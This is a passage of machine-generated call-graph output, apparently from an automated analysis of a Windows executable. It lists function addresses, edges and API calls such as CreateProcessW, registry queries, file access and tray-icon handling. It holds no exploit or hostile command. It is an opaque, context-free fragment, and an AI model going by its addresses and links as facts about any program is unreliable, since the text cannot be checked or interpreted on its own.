7ff697bc1864 6 API calls 94853->95121 94857 7ff697b46838 16 API calls 94854->94857 94856->94849 94856->94853 94860 7ff697bca770 94856->94860 94859 7ff697bca6e2 94857->94859 94858 7ff697bca805 94863 7ff697bbb334 4 API calls 94858->94863 94859->94856 94861 7ff697bca6e6 94859->94861 94862 7ff697b4d4cc 48 API calls 94860->94862 94861->94849 94864 7ff697b47ab8 CloseHandle 94861->94864 94869 7ff697bca778 94862->94869 94865 7ff697bca7e0 Concurrency::wait 94863->94865 94864->94849 94865->94849 94871 7ff697b48314 CloseHandle 94865->94871 94866 7ff697bca7ee 94868 7ff697bbb3a8 12 API calls 94866->94868 94867 7ff697bca7a7 94870 7ff697b498e8 4 API calls 94867->94870 94868->94865 94869->94866 94869->94867 94872 7ff697bca7b5 94870->94872 94873 7ff697bca85c 94871->94873 94874 7ff697b4e0a8 4 API calls 94872->94874 94873->94849 94876 7ff697b47ab8 CloseHandle 94873->94876 94875 7ff697bca7c2 94874->94875 94877 7ff697b471f8 4 API calls 94875->94877 94876->94849 94878 7ff697bca7d3 94877->94878 94879 7ff697bbb3a8 12 API calls 94878->94879 94879->94865 94881 7ff697bdf630 164 API calls 94880->94881 94883 7ff697bdf182 94881->94883 94882 7ff697bdf1cd 94882->94727 94883->94882 95122 7ff697b4ee20 5 API calls Concurrency::wait 94883->95122 94886 7ff697b4d4cc 48 API calls 94885->94886 94887 7ff697bc63f8 94886->94887 95123 7ff697bbbdec 94887->95123 94889 7ff697bc6404 94889->94727 94893 7ff697b4ec1d 94891->94893 94892 7ff697b9a5a2 94893->94892 94894 7ff697b64c68 4 API calls 94893->94894 94895 7ff697b4ec55 memcpy_s 94894->94895 94895->94727 94897->94713 94898->94720 94899->94720 94900->94705 94901->94728 94902->94728 94903->94727 94904->94728 94908 7ff697b482e4 94905->94908 94913 7ff697b48314 94908->94913 94910 7ff697b482f2 Concurrency::wait 94911 7ff697b48314 CloseHandle 94910->94911 94912 7ff697b48303 94911->94912 94914 7ff697b4832a 94913->94914 94915 7ff697b4833d CloseHandle 94913->94915 94914->94910 94915->94914 94917 7ff697b4d50b 94916->94917 94918 7ff697b4d4f2 94916->94918 94919 7ff697b4d513 94917->94919 94920 7ff697b4d53e 94917->94920 94918->94798 94995 7ff697b6956c 31 API calls 94919->94995 94921 7ff697b99cc4 94920->94921 94923 7ff697b4d550 94920->94923 94929 7ff697b99bbc 94920->94929 94998 7ff697b69538 31 API calls 94921->94998 94996 7ff697b64834 46 API calls 94923->94996 94925 7ff697b4d522 94930 7ff697b4ec00 4 API calls 94925->94930 94927 7ff697b99cdc 94931 7ff697b64c68 4 API calls 94929->94931 94934 7ff697b99c3e Concurrency::wait wcscpy 94929->94934 94930->94918 94932 7ff697b99c0a 94931->94932 94933 7ff697b4ec00 4 API calls 94932->94933 94933->94934 94997 7ff697b64834 46 API calls 94934->94997 94936 7ff697bbb3c8 94935->94936 94937 7ff697bbb42a 94935->94937 94938 7ff697bbb3d0 94936->94938 94939 7ff697bbb41e 94936->94939 94940 7ff697bbb334 4 API calls 94937->94940 94942 7ff697bbb3f1 94938->94942 94943 7ff697bbb3dd 94938->94943 95006 7ff697bbb458 8 API calls 94939->95006 94952 7ff697bbb410 Concurrency::wait 94940->94952 95004 7ff697b4a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94942->95004 95002 7ff697b4a368 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 94943->95002 94946 7ff697bbb3f6 95005 7ff697bbb270 6 API calls 94946->95005 94947 7ff697bbb3e2 95003 7ff697b64120 6 API calls 94947->95003 94950 7ff697bbb3ef 94999 7ff697bbb384 94950->94999 94952->94809 94954 7ff697b64c68 4 API calls 94953->94954 94955 7ff697b48363 94954->94955 94956 7ff697b48314 CloseHandle 94955->94956 94957 7ff697b4836f 94956->94957 94958 7ff697b49640 4 API calls 94957->94958 94959 7ff697b48378 94958->94959 94960 7ff697b48314 CloseHandle 94959->94960 94961 7ff697b48380 94960->94961 94961->94781 94963 7ff697b48314 CloseHandle 94962->94963 94964 7ff697b4685a 94963->94964 94965 7ff697b4687d CreateFileW 94964->94965 94966 7ff697b8caa8 94964->94966 94971 7ff697b468ab 94965->94971 94967 7ff697b8caae CreateFileW 94966->94967 94974 7ff697b468d9 94966->94974 94968 7ff697b8cae6 94967->94968 94967->94971 95009 7ff697b46a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94968->95009 94970 7ff697b8caf3 94970->94971 94977 7ff697b468e4 94971->94977 95007 7ff697b468f4 9 API calls 94971->95007 94973 7ff697b468c1 94973->94974 95008 7ff697b46a18 SetFilePointerEx SetFilePointerEx SetFilePointerEx 94973->95008 94976 7ff697bbb334 4 API calls 94974->94976 94974->94977 94976->94977 94977->94785 94977->94791 94979 7ff697b64c68 4 API calls 94978->94979 94980 7ff697b49918 94979->94980 94980->94801 94982 7ff697b4721c 94981->94982 94986 7ff697b8cd0c 94981->94986 94983 7ff697b47274 94982->94983 94987 7ff697b8cd66 memcpy_s 94982->94987 95010 7ff697b4b960 94983->95010 94985 7ff697b47283 memcpy_s 94985->94807 94988 7ff697b64c68 4 API calls 94986->94988 94989 7ff697b64c68 4 API calls 94987->94989 94988->94987 94990 7ff697b8cdda memcpy_s 94989->94990 94991->94788 95015 7ff697bbb188 94992->95015 94995->94925 94996->94925 94997->94921 94998->94927 95000 7ff697bbb334 4 API calls 94999->95000 95001 7ff697bbb399 95000->95001 95001->94952 95002->94947 95003->94950 95004->94946 95005->94950 95006->94952 95007->94973 95008->94974 95009->94970 95011 7ff697b4b981 95010->95011 95014 7ff697b4b976 memcpy_s 95010->95014 95012 7ff697b64c68 4 API calls 95011->95012 95013 7ff697b8ef2a 95011->95013 95012->95014 95014->94985 95016 7ff697bbb193 95015->95016 95017 7ff697bbb19c WriteFile 95015->95017 95019 7ff697bbb208 SetFilePointerEx SetFilePointerEx SetFilePointerEx 95016->95019 95017->94809 95019->95017 95022 7ff697bdf671 fread_s 95020->95022 95021 7ff697b4d4cc 48 API calls 95023 7ff697bdf74d 95021->95023 95022->95021 95088 7ff697b4e330 95023->95088 95025 7ff697bdf759 95026 7ff697bdf762 95025->95026 95027 7ff697bdf840 95025->95027 95028 7ff697b4d4cc 48 API calls 95026->95028 95029 7ff697bdf87d GetCurrentDirectoryW 95027->95029 95032 7ff697b4d4cc 48 API calls 95027->95032 95030 7ff697bdf777 95028->95030 95031 7ff697b64c68 4 API calls 95029->95031 95034 7ff697b4e330 4 API calls 95030->95034 95035 7ff697bdf8a7 GetCurrentDirectoryW 95031->95035 95033 7ff697bdf85c 95032->95033 95036 7ff697b4e330 4 API calls 95033->95036 95037 7ff697bdf783 95034->95037 95038 7ff697bdf8b5 95035->95038 95039 7ff697bdf868 95036->95039 95040 7ff697b4d4cc 48 API calls 95037->95040 95041 7ff697bdf8f0 95038->95041 95101 7ff697b5f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95038->95101 95039->95029 95039->95041 95042 7ff697bdf798 95040->95042 95046 7ff697bdf905 95041->95046 95047 7ff697bdf901 95041->95047 95044 7ff697b4e330 4 API calls 95042->95044 95048 7ff697bdf7a4 95044->95048 95045 7ff697bdf8d0 95102 7ff697b5f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95045->95102 95104 7ff697bbfddc 8 API calls 95046->95104 95054 7ff697bdf972 95047->95054 95055 7ff697bdfa0f CreateProcessW 95047->95055 95051 7ff697b4d4cc 48 API calls 95048->95051 95056 7ff697bdf7b9 95051->95056 95052 7ff697bdf8e0 95103 7ff697b5f688 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95052->95103 95053 7ff697bdf90e 95105 7ff697bbfca8 8 API calls 95053->95105 95107 7ff697bad1f8 99 API calls 95054->95107 95085 7ff697bdf9b4 95055->95085 95058 7ff697b4e330 4 API calls 95056->95058 95061 7ff697bdf7c5 95058->95061 95063 7ff697bdf806 GetSystemDirectoryW 95061->95063 95065 7ff697b4d4cc 48 API calls 95061->95065 95062 7ff697bdf926 95106 7ff697bbfafc 8 API calls ~SyncLockT 95062->95106 95067 7ff697b64c68 4 API calls 95063->95067 95068 7ff697bdf7e1 95065->95068 95066 7ff697bdf94f 95066->95047 95069 7ff697bdf830 GetSystemDirectoryW 95067->95069 95071 7ff697b4e330 4 API calls 95068->95071 95069->95038 95070 7ff697bdfabe CloseHandle 95073 7ff697bdfaf5 95070->95073 95074 7ff697bdfacc 95070->95074 95072 7ff697bdf7ed 95071->95072 95072->95038 95072->95063 95075 7ff697bdfafe 95073->95075 95079 7ff697bdfb26 CloseHandle 95073->95079 95108 7ff697bbf7dc 95074->95108 95084 7ff697bdfaa3 95075->95084 95077 7ff697bdfa64 95080 7ff697bdfa84 GetLastError 95077->95080 95079->95084 95080->95084 95092 7ff697bbf51c 95084->95092 95085->95070 95085->95077 95089 7ff697b4e342 95088->95089 95090 7ff697b64c68 4 API calls 95089->95090 95091 7ff697b4e361 wcscpy 95090->95091 95091->95025 95093 7ff697bbf7dc CloseHandle 95092->95093 95094 7ff697bbf52a 95093->95094 95113 7ff697bbf7b8 95094->95113 95097 7ff697bbf7b8 ~SyncLockT CloseHandle 95098 7ff697bbf53c 95097->95098 95099 7ff697bbf7b8 ~SyncLockT CloseHandle 95098->95099 95100 7ff697bbf545 95099->95100 95100->94727 95101->95045 95102->95052 95103->95041 95104->95053 95105->95062 95106->95066 95107->95085 95109 7ff697bbf7b8 ~SyncLockT CloseHandle 95108->95109 95110 7ff697bbf7ee 95109->95110 95111 7ff697bbf7b8 ~SyncLockT CloseHandle 95110->95111 95112 7ff697bbf7f7 95111->95112 95114 7ff697bbf533 95113->95114 95115 7ff697bbf7c9 CloseHandle 95113->95115 95114->95097 95115->95114 95116->94828 95117->94832 95118->94839 95119->94846 95120->94841 95121->94858 95122->94882 95126 7ff697bbc7c0 lstrlenW 95123->95126 95127 7ff697bbc7dd GetFileAttributesW 95126->95127 95128 7ff697bbbdf5 95126->95128 95127->95128 95129 7ff697bbc7eb FindFirstFileW 95127->95129 95128->94889 95129->95128 95130 7ff697bbc7ff FindClose 95129->95130 95130->95128 95131 7ff697b52c17 95134 7ff697b514a0 95131->95134 95133 7ff697b52c2a 95135 7ff697b514d3 95134->95135 95136 7ff697b9be31 95135->95136 95138 7ff697b9bdd1 95135->95138 95139 7ff697b9bdf2 95135->95139 95152 7ff697b514fa fread_s 95135->95152 95182 7ff697bd8f48 300 API calls 3 library calls 95136->95182 95141 7ff697b9bddb 95138->95141 95138->95152 95142 7ff697b9be19 95139->95142 95180 7ff697bd9a88 300 API calls 4 library calls 95139->95180 95179 7ff697bd9514 300 API calls 95141->95179 95181 7ff697bc34e4 77 API calls 3 library calls 95142->95181 95144 7ff697b51884 95170 7ff697b62130 45 API calls 95144->95170 95150 7ff697b51898 95150->95133 95152->95144 95156 7ff697b51a30 45 API calls 95152->95156 95157 7ff697b51815 95152->95157 95160 7ff697b62130 45 API calls 95152->95160 95161 7ff697b9bfe4 95152->95161 95162 7ff697b53c20 300 API calls 95152->95162 95165 7ff697b4e0a8 4 API calls 95152->95165 95168 7ff697b51799 95152->95168 95169 7ff697b4ef9c 46 API calls 95152->95169 95171 7ff697b620d0 45 API calls 95152->95171 95172 7ff697b45af8 300 API calls 95152->95172 95173 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95152->95173 95174 7ff697b635c8 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95152->95174 95175 7ff697b64f0c 34 API calls _onexit 95152->95175 95176 7ff697b650b4 EnterCriticalSection LeaveCriticalSection SetEvent ResetEvent 95152->95176 95177 7ff697b636c4 77 API calls 95152->95177 95178 7ff697b637dc 300 API calls 95152->95178 95183 7ff697b4ee20 5 API calls Concurrency::wait 95152->95183 95184 7ff697baac10 VariantClear RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95152->95184 95156->95152 95157->95133 95160->95152 95185 7ff697bd93a4 77 API calls 95161->95185 95162->95152 95165->95152 95168->95157 95186 7ff697bc34e4 77 API calls 3 library calls 95168->95186 95169->95152 95170->95150 95171->95152 95172->95152 95174->95152 95175->95152 95177->95152 95178->95152 95179->95157 95180->95142 95181->95136 95182->95152 95183->95152 95184->95152 95185->95168 95186->95168 95187 7ff697b45dec 95188 7ff697b45df4 95187->95188 95189 7ff697b45e98 95188->95189 95190 7ff697b45e28 95188->95190 95228 7ff697b45e96 95188->95228 95194 7ff697b8c229 95189->95194 95195 7ff697b45e9e 95189->95195 95191 7ff697b45f21 PostQuitMessage 95190->95191 95192 7ff697b45e35 95190->95192 95216 7ff697b45e7c 95191->95216 95196 7ff697b8c2af 95192->95196 95197 7ff697b45e40 95192->95197 95193 7ff697b45e6b DefWindowProcW 95193->95216 95243 7ff697b5ede4 8 API calls 95194->95243 95199 7ff697b45ecc SetTimer RegisterWindowMessageW 95195->95199 95200 7ff697b45ea5 95195->95200 95255 7ff697bba40c 16 API calls fread_s 95196->95255 95201 7ff697b45e49 95197->95201 95202 7ff697b45f2b 95197->95202 95203 7ff697b45efc CreatePopupMenu 95199->95203 95199->95216 95206 7ff697b8c1b8 95200->95206 95207 7ff697b45eae KillTimer 95200->95207 95213 7ff697b45f0b 95201->95213 95214 7ff697b45e5f 95201->95214 95201->95228 95233 7ff697b64610 95202->95233 95203->95216 95205 7ff697b8c255 95244 7ff697b62c44 47 API calls Concurrency::wait 95205->95244 95210 7ff697b8c1f7 MoveWindow 95206->95210 95211 7ff697b8c1bd 95206->95211 95229 7ff697b45d88 95207->95229 95210->95216 95217 7ff697b8c1c2 95211->95217 95218 7ff697b8c1e4 SetFocus 95211->95218 95241 7ff697b45f3c 26 API calls fread_s 95213->95241 95214->95193 95225 7ff697b45d88 Shell_NotifyIconW 95214->95225 95215 7ff697b8c2c3 95215->95193 95215->95216 95217->95214 95222 7ff697b8c1cb 95217->95222 95218->95216 95242 7ff697b5ede4 8 API calls 95222->95242 95223 7ff697b45f1f 95223->95216 95226 7ff697b8c280 95225->95226 95245 7ff697b46258 95226->95245 95228->95193 95230 7ff697b45d99 fread_s 95229->95230 95231 7ff697b45de4 95229->95231 95232 7ff697b45db8 Shell_NotifyIconW 95230->95232 95240 7ff697b47098 DeleteObject DestroyWindow Concurrency::wait 95231->95240 95232->95231 95234 7ff697b646db 95233->95234 95235 7ff697b6461a fread_s 95233->95235 95234->95216 95256 7ff697b472c8 95235->95256 95237 7ff697b64660 95238 7ff697b646a2 KillTimer SetTimer 95237->95238 95239 7ff697baaaa1 Shell_NotifyIconW 95237->95239 95238->95234 95239->95238 95240->95216 95241->95223 95242->95216 95243->95205 95244->95214 95246 7ff697b46287 fread_s 95245->95246 95300 7ff697b461c4 95246->95300 95249 7ff697b4632d 95251 7ff697b8c644 Shell_NotifyIconW 95249->95251 95252 7ff697b4634e Shell_NotifyIconW 95249->95252 95253 7ff697b472c8 6 API calls 95252->95253 95254 7ff697b46365 95253->95254 95254->95228 95255->95215 95257 7ff697b472f4 95256->95257 95276 7ff697b473bc Concurrency::wait 95256->95276 95258 7ff697b498e8 4 API calls 95257->95258 95259 7ff697b47303 95258->95259 95260 7ff697b47310 95259->95260 95261 7ff697b8cdfc LoadStringW 95259->95261 95278 7ff697b47cf4 95260->95278 95263 7ff697b8ce1e 95261->95263 95265 7ff697b4e0a8 4 API calls 95263->95265 95264 7ff697b47324 95266 7ff697b8ce30 95264->95266 95267 7ff697b47336 95264->95267 95273 7ff697b4734f wcscpy fread_s 95265->95273 95289 7ff697b47c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95266->95289 95267->95263 95269 7ff697b47343 95267->95269 95288 7ff697b47c24 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection Concurrency::wait 95269->95288 95271 7ff697b8ce3c 95272 7ff697b471f8 4 API calls 95271->95272 95271->95273 95274 7ff697b8ce63 95272->95274 95275 7ff697b473a3 Shell_NotifyIconW 95273->95275 95277 7ff697b471f8 4 API calls 95274->95277 95275->95276 95276->95237 95277->95273 95279 7ff697b47d0d 95278->95279 95280 7ff697b8d2c8 95278->95280 95283 7ff697b47d51 95279->95283 95284 7ff697b47d24 95279->95284 95291 7ff697b4dda4 95280->95291 95282 7ff697b8d2d3 95283->95282 95287 7ff697b64c68 4 API calls 95283->95287 95290 7ff697b47e4c RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95284->95290 95286 7ff697b47d2f memcpy_s 95286->95264 95287->95286 95288->95273 95289->95271 95290->95286 95292 7ff697b4dda9 95291->95292 95293 7ff697b4ddc7 memcpy_s 95291->95293 95292->95293 95295 7ff697b4a7c0 95292->95295 95293->95282 95293->95293 95296 7ff697b4a7ed 95295->95296 95297 7ff697b4a7dd memcpy_s 95295->95297 95298 7ff697b8e7da 95296->95298 95299 7ff697b64c68 4 API calls 95296->95299 95297->95293 95299->95297 95301 7ff697b461e0 95300->95301 95302 7ff697b8c5f8 95300->95302 95301->95249 95304 7ff697bbad94 39 API calls wcsftime 95301->95304 95302->95301 95303 7ff697b8c602 DestroyIcon 95302->95303 95303->95301 95304->95249 95305 7ff697b52bf8 95308 7ff697b4ed44 95305->95308 95307 7ff697b52c05 95309 7ff697b4ed75 95308->95309 95316 7ff697b4edcd 95308->95316 95310 7ff697b53c20 300 API calls 95309->95310 95309->95316 95313 7ff697b4eda8 95310->95313 95312 7ff697b9a636 95314 7ff697b4edfe 95313->95314 95317 7ff697b4ee20 5 API calls Concurrency::wait 95313->95317 95314->95307 95316->95314 95318 7ff697bc34e4 77 API calls 3 library calls 95316->95318 95317->95316 95318->95312 95319 7ff697b65328 95342 7ff697b64cac 95319->95342 95322 7ff697b65474 95374 7ff697b657e4 7 API calls 2 library calls 95322->95374 95323 7ff697b65344 95325 7ff697b6547e 95323->95325 95328 7ff697b65362 95323->95328 95375 7ff697b657e4 7 API calls 2 library calls 95325->95375 95327 7ff697b653a4 __scrt_is_nonwritable_in_current_image __scrt_release_startup_lock 95332 7ff697b6540d 95327->95332 95371 7ff697b69204 35 API calls IsInExceptionSpec 95327->95371 95328->95327 95329 7ff697b65387 95328->95329 95350 7ff697b7ada4 95328->95350 95331 7ff697b65489 abort 95357 7ff697b65930 95332->95357 95334 7ff697b65412 95360 7ff697b43730 95334->95360 95339 7ff697b65435 95339->95331 95373 7ff697b64e90 8 API calls 2 library calls 95339->95373 95341 7ff697b6544c 95341->95329 95343 7ff697b64cce __scrt_initialize_crt 95342->95343 95376 7ff697b665ec 95343->95376 95346 7ff697b64cd7 95346->95322 95346->95323 95351 7ff697b7ade0 95350->95351 95352 7ff697b7adff 95350->95352 95351->95352 95425 7ff697b410e8 95351->95425 95430 7ff697b41064 95351->95430 95435 7ff697b41048 95351->95435 95440 7ff697b41080 95351->95440 95352->95327 95638 7ff697b66240 95357->95638 95361 7ff697b437a3 95360->95361 95362 7ff697b43743 IsThemeActive 95360->95362 95372 7ff697b65974 GetModuleHandleW 95361->95372 95640 7ff697b692d0 95362->95640 95368 7ff697b4377d 95652 7ff697b437b0 95368->95652 95370 7ff697b43785 SystemParametersInfoW 95370->95361 95371->95332 95372->95339 95373->95341 95374->95325 95375->95331 95377 7ff697b665f5 __vcrt_initialize_winapi_thunks __vcrt_initialize 95376->95377 95389 7ff697b67290 95377->95389 95380 7ff697b64cd3 95380->95346 95384 7ff697b7ac84 95380->95384 95382 7ff697b6660c 95382->95380 95396 7ff697b672d8 DeleteCriticalSection 95382->95396 95385 7ff697b84340 95384->95385 95386 7ff697b64ce0 95385->95386 95413 7ff697b7dd2c 95385->95413 95386->95346 95388 7ff697b66620 8 API calls 3 library calls 95386->95388 95388->95346 95391 7ff697b67298 95389->95391 95392 7ff697b672c9 95391->95392 95393 7ff697b665ff 95391->95393 95397 7ff697b67614 95391->95397 95402 7ff697b672d8 DeleteCriticalSection 95392->95402 95393->95380 95395 7ff697b67218 8 API calls 3 library calls 95393->95395 95395->95382 95396->95380 95403 7ff697b67310 95397->95403 95400 7ff697b67654 95400->95391 95401 7ff697b6765f InitializeCriticalSectionAndSpinCount 95401->95400 95402->95393 95404 7ff697b67371 95403->95404 95411 7ff697b6736c try_get_function 95403->95411 95404->95400 95404->95401 95405 7ff697b67454 95405->95404 95408 7ff697b67462 GetProcAddress 95405->95408 95406 7ff697b673a0 LoadLibraryExW 95407 7ff697b673c1 GetLastError 95406->95407 95406->95411 95407->95411 95409 7ff697b67473 95408->95409 95409->95404 95410 7ff697b67439 FreeLibrary 95410->95411 95411->95404 95411->95405 95411->95406 95411->95410 95412 7ff697b673fb LoadLibraryExW 95411->95412 95412->95411 95424 7ff697b7b9bc EnterCriticalSection 95413->95424 95415 7ff697b7dd3c 95416 7ff697b7e258 32 API calls 95415->95416 95417 7ff697b7dd45 95416->95417 95418 7ff697b7dd53 95417->95418 95419 7ff697b7db44 34 API calls 95417->95419 95420 7ff697b7ba10 _isindst LeaveCriticalSection 95418->95420 95421 7ff697b7dd4e 95419->95421 95422 7ff697b7dd5f 95420->95422 95423 7ff697b7dc30 GetStdHandle GetFileType 95421->95423 95422->95385 95423->95418 95445 7ff697b61d80 95425->95445 95429 7ff697b64f15 95429->95351 95470 7ff697b47ec0 95430->95470 95432 7ff697b4106d 95506 7ff697b64ebc 34 API calls _onexit 95432->95506 95434 7ff697b64f15 95434->95351 95555 7ff697b47718 95435->95555 95439 7ff697b64f15 95439->95351 95574 7ff697b47920 95440->95574 95442 7ff697b4109e 95604 7ff697b64ebc 34 API calls _onexit 95442->95604 95444 7ff697b64f15 95444->95351 95446 7ff697b49640 4 API calls 95445->95446 95447 7ff697b61db2 GetVersionExW 95446->95447 95448 7ff697b47cf4 4 API calls 95447->95448 95450 7ff697b61dfc 95448->95450 95449 7ff697b4dda4 4 API calls 95449->95450 95450->95449 95451 7ff697b61e87 95450->95451 95452 7ff697b4dda4 4 API calls 95451->95452 95455 7ff697b61ea4 95452->95455 95453 7ff697ba9645 95454 7ff697ba964f 95453->95454 95468 7ff697bb32f4 LoadLibraryA GetProcAddress 95454->95468 95455->95453 95456 7ff697b61f3c GetCurrentProcess IsWow64Process 95455->95456 95457 7ff697b61f7e fread_s 95456->95457 95457->95454 95458 7ff697b61f86 GetSystemInfo 95457->95458 95460 7ff697b410f1 95458->95460 95467 7ff697b64ebc 34 API calls _onexit 95460->95467 95461 7ff697ba96b1 95462 7ff697ba96b5 95461->95462 95463 7ff697ba96d7 GetSystemInfo 95461->95463 95469 7ff697bb32f4 LoadLibraryA GetProcAddress 95462->95469 95465 7ff697ba96bf 95463->95465 95465->95460 95466 7ff697ba96f0 FreeLibrary 95465->95466 95466->95460 95467->95429 95468->95461 95469->95465 95507 7ff697b482b4 95470->95507 95473 7ff697b482b4 4 API calls 95474 7ff697b47f3a 95473->95474 95475 7ff697b49640 4 API calls 95474->95475 95476 7ff697b47f46 95475->95476 95477 7ff697b47cf4 4 API calls 95476->95477 95478 7ff697b47f59 95477->95478 95514 7ff697b62d5c 6 API calls 95478->95514 95480 7ff697b47fa5 95481 7ff697b49640 4 API calls 95480->95481 95482 7ff697b47fb1 95481->95482 95483 7ff697b49640 4 API calls 95482->95483 95484 7ff697b47fbd 95483->95484 95485 7ff697b49640 4 API calls 95484->95485 95486 7ff697b47fc9 95485->95486 95487 7ff697b49640 4 API calls 95486->95487 95488 7ff697b4800f 95487->95488 95489 7ff697b49640 4 API calls 95488->95489 95490 7ff697b480f7 95489->95490 95515 7ff697b5ef88 95490->95515 95492 7ff697b48103 95522 7ff697b5eec8 95492->95522 95494 7ff697b4812f 95495 7ff697b49640 4 API calls 95494->95495 95496 7ff697b4813b 95495->95496 95533 7ff697b56d40 95496->95533 95500 7ff697b481ac 95501 7ff697b481be GetStdHandle 95500->95501 95502 7ff697b8d350 95501->95502 95503 7ff697b48220 OleInitialize 95501->95503 95550 7ff697bbffc8 CreateThread 95502->95550 95503->95432 95505 7ff697b8d367 CloseHandle 95506->95434 95508 7ff697b49640 4 API calls 95507->95508 95509 7ff697b482c6 95508->95509 95510 7ff697b49640 4 API calls 95509->95510 95511 7ff697b482cf 95510->95511 95512 7ff697b49640 4 API calls 95511->95512 95513 7ff697b47f2e 95512->95513 95513->95473 95514->95480 95516 7ff697b49640 4 API calls 95515->95516 95517 7ff697b5efa3 95516->95517 95518 7ff697b49640 4 API calls 95517->95518 95519 7ff697b5efac 95518->95519 95520 7ff697b49640 4 API calls 95519->95520 95521 7ff697b5f02e 95520->95521 95521->95492 95523 7ff697b5eede 95522->95523 95524 7ff697b49640 4 API calls 95523->95524 95525 7ff697b5eeea 95524->95525 95526 7ff697b49640 4 API calls 95525->95526 95527 7ff697b5eef6 95526->95527 95528 7ff697b49640 4 API calls 95527->95528 95529 7ff697b5ef02 95528->95529 95530 7ff697b49640 4 API calls 95529->95530 95531 7ff697b5ef0e 95530->95531 95532 7ff697b5ef68 RegisterWindowMessageW 95531->95532 95532->95494 95534 7ff697b56db9 95533->95534 95542 7ff697b56d80 95533->95542 95551 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95534->95551 95535 7ff697b4816b 95543 7ff697b639a8 95535->95543 95542->95535 95552 7ff697b65114 EnterCriticalSection LeaveCriticalSection LeaveCriticalSection WaitForSingleObjectEx EnterCriticalSection 95542->95552 95544 7ff697baa502 95543->95544 95549 7ff697b639cc 95543->95549 95553 7ff697b4ee20 5 API calls Concurrency::wait 95544->95553 95546 7ff697baa50e 95554 7ff697b4ee20 5 API calls Concurrency::wait 95546->95554 95548 7ff697baa52d 95549->95500 95550->95505 95553->95546 95554->95548 95556 7ff697b49640 4 API calls 95555->95556 95557 7ff697b4778f 95556->95557 95563 7ff697b46f24 95557->95563 95559 7ff697b4782c 95561 7ff697b41051 95559->95561 95566 7ff697b47410 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection memcpy_s 95559->95566 95562 7ff697b64ebc 34 API calls _onexit 95561->95562 95562->95439 95567 7ff697b46f60 95563->95567 95566->95559 95568 7ff697b46f52 95567->95568 95569 7ff697b46f85 95567->95569 95568->95559 95569->95568 95570 7ff697b46f93 RegOpenKeyExW 95569->95570 95570->95568 95571 7ff697b46faf RegQueryValueExW 95570->95571 95572 7ff697b46fdd 95571->95572 95573 7ff697b46ff5 RegCloseKey 95571->95573 95572->95573 95573->95568 95575 7ff697b47948 wcsftime 95574->95575 95576 7ff697b49640 4 API calls 95575->95576 95577 7ff697b47a02 95576->95577 95605 7ff697b45680 95577->95605 95579 7ff697b47a0c 95612 7ff697b63a38 95579->95612 95582 7ff697b471f8 4 API calls 95583 7ff697b47a2c 95582->95583 95618 7ff697b44680 95583->95618 95585 7ff697b47a3d 95586 7ff697b49640 4 API calls 95585->95586 95587 7ff697b47a47 95586->95587 95622 7ff697b4a854 95587->95622 95590 7ff697b8d05c RegQueryValueExW 95592 7ff697b8d08f 95590->95592 95593 7ff697b8d131 RegCloseKey 95590->95593 95591 7ff697b47a83 Concurrency::wait 95591->95442 95594 7ff697b64c68 4 API calls 95592->95594 95593->95591 95603 7ff697b8d147 wcscat Concurrency::wait 95593->95603 95595 7ff697b8d0b2 95594->95595 95597 7ff697b8d0bf RegQueryValueExW 95595->95597 95596 7ff697b49d84 RtlPcToFileHeader RaiseException EnterCriticalSection LeaveCriticalSection 95596->95603 95598 7ff697b8d0f3 95597->95598 95600 7ff697b8d112 95597->95600 95599 7ff697b47cf4 4 API calls 95598->95599 95599->95600 95600->95593 95601 7ff697b4ec00 4 API calls 95601->95603 95602 7ff697b44680 4 API calls 95602->95603 95603->95591 95603->95596 95603->95601 95603->95602 95604->95444 95626 7ff697b88f90 95605->95626 95608 7ff697b4ec00 4 API calls 95609 7ff697b456b4 95608->95609 95628 7ff697b456d4 95609->95628 95611 7ff697b456c1 Concurrency::wait 95611->95579 95613 7ff697b88f90 wcsftime 95612->95613 95614 7ff697b63a44 GetFullPathNameW 95613->95614 95615 7ff697b63a74 95614->95615 95616 7ff697b47cf4 4 API calls 95615->95616 95617 7ff697b47a1b 95616->95617 95617->95582 95619 7ff697b4469f 95618->95619 95621 7ff697b446c8 memcpy_s 95618->95621 95620 7ff697b64c68 4 API calls 95619->95620 95620->95621 95621->95585 95623 7ff697b4a87a 95622->95623 95624 7ff697b47a51 RegOpenKeyExW 95622->95624 95625 7ff697b64c68 4 API calls 95623->95625 95624->95590 95624->95591 95625->95624 95627 7ff697b4568c GetModuleFileNameW 95626->95627 95627->95608 95629 7ff697b88f90 wcsftime 95628->95629 95630 7ff697b456e9 GetFullPathNameW 95629->95630 95631 7ff697b8c03a 95630->95631 95632 7ff697b45712 95630->95632 95634 7ff697b4a854 4 API calls 95631->95634 95633 7ff697b47cf4 4 API calls 95632->95633 95635 7ff697b4571c 95633->95635 95634->95635 95635->95635 95636 7ff697b4dda4 4 API calls 95635->95636 95637 7ff697b45785 95636->95637 95637->95611 95639 7ff697b65947 GetStartupInfoW 95638->95639 95639->95334 95698 7ff697b7b9bc EnterCriticalSection 95640->95698 95642 7ff697b692e4 95643 7ff697b7ba10 _isindst LeaveCriticalSection 95642->95643 95644 7ff697b4376e 95643->95644 95645 7ff697b69334 95644->95645 95646 7ff697b6933d 95645->95646 95648 7ff697b43778 95645->95648 95699 7ff697b755d4 15 API calls _set_errno_from_matherr 95646->95699 95651 7ff697b436e8 SystemParametersInfoW SystemParametersInfoW 95648->95651 95649 7ff697b69342 95700 7ff697b7b164 31 API calls _invalid_parameter_noinfo 95649->95700 95651->95368 95653 7ff697b437cd wcsftime 95652->95653 95654 7ff697b49640 4 